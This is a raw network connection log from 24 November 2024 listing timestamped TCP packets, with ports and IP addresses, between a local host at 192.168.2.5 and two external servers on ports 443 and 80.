Nov 24, 2024 04:23:11.825192928 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.023655891 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.026691914 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.026762009 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.027239084 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.027271986 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.027292967 CET	49828	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.027302027 CET	443	49828	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.030168056 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.030230045 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:12.030293941 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.030440092 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:12.030452967 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.008234024 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.008693933 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.008750916 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.009136915 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.009150982 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.148036003 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.148840904 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.148874044 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.149283886 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.149291039 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.291795015 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:13.292144060 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:13.411617994 CET	80	49829	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:13.411653042 CET	80	49835	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:13.411694050 CET	49829	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:13.411755085 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:13.411937952 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:13.442466021 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.442498922 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.442548037 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.442559004 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.442606926 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.442795038 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.442828894 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.442850113 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.442857981 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.445269108 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.445359945 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.445446968 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.445574045 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.445617914 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.485985994 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.497173071 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.497208118 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.497606993 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.497612953 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.531362057 CET	80	49835	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:13.596270084 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.599266052 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.599334955 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.599387884 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.599409103 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.599421024 CET	49831	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.599428892 CET	443	49831	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.602499008 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.602545977 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.602622032 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.602749109 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.602761030 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.608057976 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.608381033 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.608393908 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.608778000 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.608783007 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.876060009 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.876526117 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.876586914 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.876959085 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.876972914 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.930358887 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.933454990 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.933541059 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.933600903 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.933600903 CET	49832	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.933639050 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.933669090 CET	443	49832	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.935971975 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.936068058 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:13.936170101 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.936288118 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:13.936310053 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.050993919 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.053980112 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.054073095 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.054107904 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.054127932 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.054138899 CET	49833	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.054143906 CET	443	49833	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.056216955 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.056266069 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.056340933 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.056463957 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.056476116 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.328974962 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.329082012 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.329160929 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.329225063 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.329265118 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.329327106 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.329376936 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.329413891 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.329463005 CET	49834	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.329477072 CET	443	49834	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.331880093 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.331928968 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.332007885 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.332144976 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:14.332163095 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:14.804477930 CET	80	49835	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:14.804557085 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:15.229089975 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.229665995 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.229754925 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.230066061 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.230079889 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.320177078 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.320537090 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.320564032 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.320936918 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.320941925 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.703216076 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.703430891 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.703521967 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.703613997 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.703614950 CET	49836	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.703661919 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.703692913 CET	443	49836	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.705734015 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.705851078 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.705939054 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.706063986 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.706087112 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.754674911 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.757801056 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.757846117 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.757869005 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.757905006 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.757941961 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.757961035 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.757971048 CET	49837	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.757976055 CET	443	49837	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.759856939 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.759895086 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.759955883 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.760049105 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.760062933 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.781554937 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.781887054 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.781896114 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.782269955 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.782273054 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.803632975 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.803976059 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.804009914 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:15.804335117 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:15.804342031 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.176382065 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.177120924 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.177165031 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.177793980 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.177799940 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.254620075 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.257863045 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.257956028 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.258003950 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.258003950 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.258028030 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.258043051 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.261043072 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.261094093 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.261177063 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.261346102 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.261358023 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.265609980 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.268699884 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.268748999 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.268762112 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.268814087 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.268845081 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.268863916 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.268876076 CET	49839	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.268879890 CET	443	49839	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.270859957 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.270880938 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.270946026 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.271070004 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.271078110 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.434704065 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:16.435257912 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:16.554616928 CET	80	49835	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:16.554699898 CET	49835	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:16.554790974 CET	80	49845	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:16.554878950 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:16.555042982 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:16.631589890 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.634670019 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.634736061 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.634767056 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.634787083 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.634797096 CET	49840	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.634802103 CET	443	49840	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.637311935 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.637355089 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.637415886 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.637530088 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:16.637538910 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:16.674444914 CET	80	49845	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:17.493458033 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.494025946 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.494080067 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.494478941 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.494487047 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.539927959 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.540426970 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.540451050 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.540815115 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.540819883 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.936846972 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.939913988 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.939971924 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.939997911 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.940056086 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.940103054 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.940104008 CET	49841	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.940145016 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.940170050 CET	443	49841	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.942534924 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.942584991 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.942666054 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.942965031 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.942982912 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.942996979 CET	80	49845	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:17.943058014 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:17.984472990 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.987576008 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.987649918 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.987675905 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.987694025 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.987704039 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.987709045 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.989912987 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.990001917 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:17.990101099 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.990227938 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:17.990257978 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.053637981 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.054137945 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.054176092 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.054593086 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.054606915 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.058358908 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.058675051 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.058713913 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.059004068 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.059009075 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.355698109 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.356329918 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.356405020 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.356798887 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.356812000 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.495990992 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.499193907 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.499269009 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.499331951 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.499368906 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.499428988 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.499475956 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.499475956 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.499506950 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.499540091 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.501820087 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.501913071 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.501992941 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.502106905 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.502129078 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.507731915 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.510745049 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.510802031 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.510824919 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.510838985 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.510847092 CET	49844	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.510850906 CET	443	49844	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.512763977 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.512835979 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.512923956 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.513045073 CET	49850	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.513066053 CET	443	49850	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.788351059 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.791667938 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.791738987 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.791901112 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.791901112 CET	49846	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.791922092 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.791932106 CET	443	49846	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.794521093 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.794574976 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:18.794641018 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.794774055 CET	49851	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:18.794790030 CET	443	49851	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.448121071 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:19.448534966 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:19.568115950 CET	80	49852	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:19.568201065 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:19.568227053 CET	80	49845	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:19.568290949 CET	49845	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:19.568445921 CET	49852	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:19.687855959 CET	80	49852	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:19.722311020 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.722800016 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:19.722865105 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.723289967 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:19.723305941 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.838563919 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.839040041 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:19.839077950 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:19.839490891 CET	49848	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:19.839498997 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.165265083 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.168327093 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.168391943 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.168445110 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.168445110 CET	49847	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.168466091 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.168481112 CET	443	49847	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.171040058 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.171092033 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.171181917 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.171348095 CET	49853	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.171355963 CET	443	49853	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.285444021 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.286345005 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.286412954 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.286781073 CET	49849	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:20.286799908 CET	443	49849	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.291052103 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.294320107 CET	443	49848	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:20.294382095 CET	443	49848	13.107.246.63	192.168.2.5
